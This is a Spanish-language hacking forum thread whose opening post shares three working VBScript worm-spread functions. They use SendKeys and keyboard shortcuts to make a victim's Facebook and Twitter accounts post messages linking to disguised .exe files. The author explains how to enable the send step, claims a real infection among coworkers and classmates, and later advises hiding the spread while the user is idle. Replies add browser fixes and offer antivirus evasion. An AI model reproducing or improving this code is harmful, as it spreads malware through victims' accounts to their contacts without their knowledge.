Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Mad Antrax en 4 Marzo 2014, 23:26 pm



Título: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 4 Marzo 2014, 23:26 pm
Hola a todos

Como algunos ya habréis visto, estoy retomando mis tiempos mozos de programación. Ando liado desarrollando virus, troyanos y gusanos. Hoy vengo a compartir 3 funciones de Spread que permitirán reproducir una infección vírica usando Facebook (2 métodos) y Twitter (1 método)

El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:

Spread usando mensajes personales de Facebook

Primero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:

1. Entra en www.facebook.com
2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas: ALT+M
4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter

Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")
  3.  
  4. Function FB_MSG_Spread(X)
  5. Randomize
  6. C = Chr(Int(rnd*26)+97)
  7.  
  8. WS.run "http://www.facebook.com"
  9. WScript.Sleep 5000
  10.  
  11. WS.SendKeys "%m"
  12. WScript.Sleep 500
  13.  
  14. For i = 1 to Int(rnd*5)+2
  15. WS.SendKeys C
  16. WScript.Sleep 500
  17. WS.SendKeys "{ENTER}"
  18. Next
  19.  
  20. WScript.Sleep 500
  21. WS.SendKeys "{TAB}"
  22. WScript.Sleep 500
  23. WS.SendKeys X
  24. WScript.Sleep 500
  25. 'WS.SendKeys "{ENTER}"
  26. End Function

Copiad ese código TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.

Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo spread por Facebook.

(http://i.imgur.com/wZkbnpJ.png)

Spread usando noticias del muro de Facebook

Éste metodo es parecido al anterior, pero utiliza las teclas J y C para buscar una noticia al azar y enviar el comentario:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")
  3.  
  4. Function FB_TXT_Spread(X)
  5. Randomize
  6.  
  7. WS.run "http://www.facebook.com"
  8. WScript.Sleep 5000
  9.  
  10. For i = 1 to Int(rnd*5)+1
  11. WS.SendKeys "j"
  12. WScript.Sleep 800
  13. Next
  14.  
  15. WS.SendKeys "c"
  16. WScript.Sleep 800
  17. WS.SendKeys X
  18. WScript.Sleep 500
  19. 'WS.SendKeys "{ENTER}"
  20. WScript.Sleep 500
  21. WS.SendKeys "{TAB}"
  22. WScript.Sleep 500
  23. WS.SendKeys "{TAB}"
  24. WScript.Sleep 500
  25. WS.SendKeys "j"
  26. End Function

De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.

(http://i.imgur.com/VxnTDBZ.png)

Spread usando un tweet en Twitter

Lo mismo que los anteriores casos, utilizando la tecla M para mandar un tweet:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
  3.  
  4. Function TW_TXT_Spread(X)
  5. Randomize
  6.  
  7. WS.run "http://www.twitter.com"
  8. WScript.Sleep 6000
  9.  
  10. WS.SendKeys "n"
  11. WScript.Sleep 800
  12. WS.SendKeys X
  13. WScript.Sleep 500
  14. WS.SendKeys "{TAB}"
  15. WScript.Sleep 500
  16. 'WS.SendKeys "{ENTER}"
  17. End Function

Podéis probar el código, ya que la tecla ENTER también está comentada.

(http://i.imgur.com/cCXakQ9.jpg)



Bueno, espero que os haya gustado y que haya quedado clara mi explicación. Insisto, los script que he puesto los podéis probar en vuestro PC, ya que la línea que envía el mensaje a los contactos está deshabilitada con el comentario, así que no hay riesgo.

Saludos!! :D


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: noele1995 en 5 Marzo 2014, 00:30 am
Buen code como siempre, ingenioso y sencillo. Ultimamente se explota mucho el potencial de vbs por lo que veo.

Saludos


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 5 Marzo 2014, 00:36 am
Buen code como siempre, ingenioso y sencillo. Ultimamente se explota mucho el potencial de vbs por lo que veo.

Saludos

Lo has probado? Te ha funcionado? Mañana lo probaré en otras maquinas con SO y web-browsers diferentes a ver si detecto algun bug.

Gracias! :D

PD: vbs tiene la facilidad de ser fácilmente programable y encriptable, obtienes grandes resultados con solo unos pocos bytes. Yo adoro VB6 y VBS

:D


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: noele1995 en 5 Marzo 2014, 19:58 pm
He probado los dos de facebook Win7 con el Chrome y funcionan.Estoy impaciente por ver el cactus trojan :)


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: portaro en 7 Marzo 2014, 01:17 am
Jolín hace tiempos que no veia por aqui a Antrax, puff buenos tiempos en que andaba purgando web a ver que escribiay tutos, aún esta tu página me acuerdo que no la conseguia encontrar de las ultimas veces que buscaba, aún tengo algunos pdfs de tus tutos amigo.

Todo un lujo verte de nuevo por aqui, aunque yo más bien aprendi poco eheh me pase a Linux y esas cosillas eheh.

A ver si paso más por aqui a ver si pones material. ;D (droja de la buena ehehe)


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Siscu.cab en 7 Marzo 2014, 06:54 am
Waaa explicanos mas   :o


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: 79137913 en 7 Marzo 2014, 17:19 pm
HOLA!!!

Me parecio medio chapucero el codigo, aunque en su mayoria funcionan...

El de mensaje no funciona bien en firefox winxp.

el resto andan de diez, aunque podrias haber hecho algo mas en segundo plano.

Si queres tengo un codigo que funciona con winsocks en vbs y anda muy bien y tengo una tactica para hacer "FUD" casi cualquier codigo en VBS.

GRACIAS POR LEER!!!


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 8 Marzo 2014, 16:35 pm
HOLA!!!

Me parecio medio chapucero el codigo, aunque en su mayoria funcionan...

El de mensaje no funciona bien en firefox winxp.

el resto andan de diez, aunque podrias haber hecho algo mas en segundo plano.

Si queres tengo un codigo que funciona con winsocks en vbs y anda muy bien y tengo una tactica para hacer "FUD" casi cualquier codigo en VBS.

GRACIAS POR LEER!!!

El codigo es sencillo y "chapucero", evidentemente se puede implementar de formas más eficaces, ésto es solo una prueba de concepto. Yo le agregaría una función que compruebe las cookies locales para ver si el usuario está logeado en Facebook/Twitter y luego una función que detecte si el usuario está delante de la pantalla o no, por ejemplo comprobando la posición del Mouse a intervalos de 5 minutos, si el mouse no se mueve pues lanzar el spread para que nadie lo vea.

Insisto que lo he probado con varios usuarios del instituo y del trabajo. El gusano se expandió por la red en cuestión de horas. Tuve que eliminar el fichero de descarga para detener la infección.

Es un método un poco brusco y "chapucero", pero funciona que da miedo :D


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: daryo en 8 Marzo 2014, 18:35 pm
genial  ;D , es increible que la gente sea tan ingenua de abrir las fotos.exe xD o o la foto.gif.exe


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Kami en 9 Marzo 2014, 16:01 pm
Amores, no habéis pensado en usar la API?....

Si necesitas ayuda para hacerla... yo te ayudo...


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: jeshuem en 14 Marzo 2014, 17:34 pm
Para que el Spread Msg de Facebook sea funcional en Firefox deben poner

WS.SendKeys "+(%m)"

en vez de

WS.SendKeys "%m"

y aun sigue quedando funcional para firefox y chrome


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: 79137913 en 14 Marzo 2014, 18:38 pm
HOLA!!!

Amores, no habéis pensado en usar la API?....

Si necesitas ayuda para hacerla... yo te ayudo...

APIS en VBS?

Si sabes como hacerlo te regalo un chocolate.

GRACIAS POR LEER!!!


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 14 Marzo 2014, 18:56 pm
Las APIS de facebook alertan al usuario sobre las acciones que se van a ejecutar bajo su cuenta. Cuando conectamos un juego del iphone/android al facebook siempre pregunta si le queremos dar acceso. Usar las APIS de facebook para propagar un gusano es un poco... como lo diría... poco efectivo xD


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: 79137913 en 14 Marzo 2014, 19:23 pm
HOLA!!!

Ahhh las apis de Facebook, pense que hablaban de WINAPI

GRACIAS POR LEER!!!


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Kami en 14 Marzo 2014, 22:56 pm
Las APIS de facebook alertan al usuario sobre las acciones que se van a ejecutar bajo su cuenta. Cuando conectamos un juego del iphone/android al facebook siempre pregunta si le queremos dar acceso. Usar las APIS de facebook para propagar un gusano es un poco... como lo diría... poco efectivo xD

El 90% de los virus por facebook son por API's... o por lo menos los que salen en las noticias de este foro, un video, un concurso, un juego... siempre picamos...


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: daryo en 16 Marzo 2014, 00:10 am
El 90% de los virus por facebook son por API's... o por lo menos los que salen en las noticias de este foro, un video, un concurso, un juego... siempre picamos...

pero el resultado no es muy diferente se le envia a los "amigos" un enlace infectado ya sea por el chat o post .


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: xXSCORPIOXx en 17 Marzo 2014, 22:27 pm
Te quedó de lujo bro, no sabia esos atajos de teclado para Twitter y Facebook.  ;D

//Regards.


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: BlackZeroX en 18 Marzo 2014, 04:48 am
Las APIS de facebook alertan al usuario sobre las acciones que se van a ejecutar bajo su cuenta. Cuando conectamos un juego del iphone/android al facebook siempre pregunta si le queremos dar acceso. Usar las APIS de facebook para propagar un gusano es un poco... como lo diría... poco efectivo xD

Las APIS de Facebook + javascript + vbs/vb6 = Spread de lujo... javascript se utilizaría para crear una extensión en chrome/firefox o que se yo, su utilidad radica en dar aceptar los diálogos...

Dulces Lunas!¡


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: infobot en 12 Abril 2014, 10:32 am
el codigo es muy simple,pero efectivo gracias


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: тαптяα en 12 Abril 2014, 12:24 pm
Pero como puedes expandir esto?, :s

si es que unicamente se baja el fichero exe o vbs, eso no se ejecuta solo


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 12 Abril 2014, 18:28 pm
Pero como puedes expandir esto?, :s

si es que unicamente se baja el fichero exe o vbs, eso no se ejecuta solo

Claro, por eso se llama "spread" y no "exploit".


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: тαптяα en 13 Abril 2014, 09:13 am
Entiendo..

Eso falla a mi modo de verlo, porque hay mucha gente que ya ha aprendido la lección y desconfía de ejecutar cosas raras.

De todos modos, el código está genial, de hecho lo usaré para otros métodos de automatización de tareas interesantes :)

Grande Antrax!


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: softer2 en 12 Mayo 2014, 22:15 pm
Muy bueno el script , de lujo da todo

Lo unico malo es q el infectado se da cuenta de todo , osea se da cuenta que tas enviando un mensaje a tus amigos al azar , y fazil al ver eso formatee su maquina ... se puede usar este mismo metodo , pero que el usuario no vea nada ? como todo minimizado o algo?


PD: el spread de muro o noticia me funciona , pero no siempre , es depende tbm de que noticia tienen , tbm influye los anuncios de noticias que no se puede comentar , a mi de 6 intentos de muro me funciono 2 o 3


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: Mad Antrax en 13 Mayo 2014, 09:44 am
Muy bueno el script , de lujo da todo

Lo unico malo es q el infectado se da cuenta de todo , osea se da cuenta que tas enviando un mensaje a tus amigos al azar , y fazil al ver eso formatee su maquina ... se puede usar este mismo metodo , pero que el usuario no vea nada ? como todo minimizado o algo?


PD: el spread de muro o noticia me funciona , pero no siempre , es depende tbm de que noticia tienen , tbm influye los anuncios de noticias que no se puede comentar , a mi de 6 intentos de muro me funciono 2 o 3

Pues tal y como está programado; no. El usuario lo verá todo, pero eso no es problema si lo implementas correctamente:

Añade una rutina que detecte el uso del equipo, cuando el equipo esté más de 5 minutos entonces lanza el spread por facebook/twitter, las ventanas se ejecutarán y en teoría nadie verá nada.

También puedes añadir una rutina de detección de cookies, para saber si el user esta auto-logged en facebook/twitter y poder lanzar el spread. Sobre el muro de noticias.. he visto que han actualizado el layout de facebook, es posible eso que comentas, que no en todas las noticias se puede postear... bueno, eso añado un poco más de "randomize" a la hora de hacer el spread. No le veo mucho problema.

Éste script es una especie de PoC, la base está montada, ahora solo falta que cada uno con su ingenio lo adapte, mejore y complete a su gusto.

Ánimo! :)


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: bafra en 10 Junio 2014, 06:38 am
buen dia, la verdad soy muy nuevo en las areas profundas de la informatica. pero hay alguna forma de dar esas ordenes desde cmd sin hacer el vbs? :huh:


Título: Re:
Publicado por: Nhielkhy en 23 Junio 2014, 01:41 am
Increible! Que tienen de diferente vbs con vb6

Enviado desde mi camello mutante mediante Tapatalk


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: тαптяα en 25 Junio 2014, 01:39 am
vb6 esta mas orientado a aplicaciones de escritorio con interfaz gráfica y vbs a realizar scripts en windows, muy sencillos.

aun asi tienen sintaxis parecida, no te llevara mucho aprenderlos


Título: Re: [VBS] [SOURCE] Facebook y Twitter Spread
Publicado por: .BrutuS en 9 Diciembre 2014, 03:23 am
Hermoso source y muy ingenioso MadAntrax la verdad es que yo siempre eh admirado tus trabajos, saludos.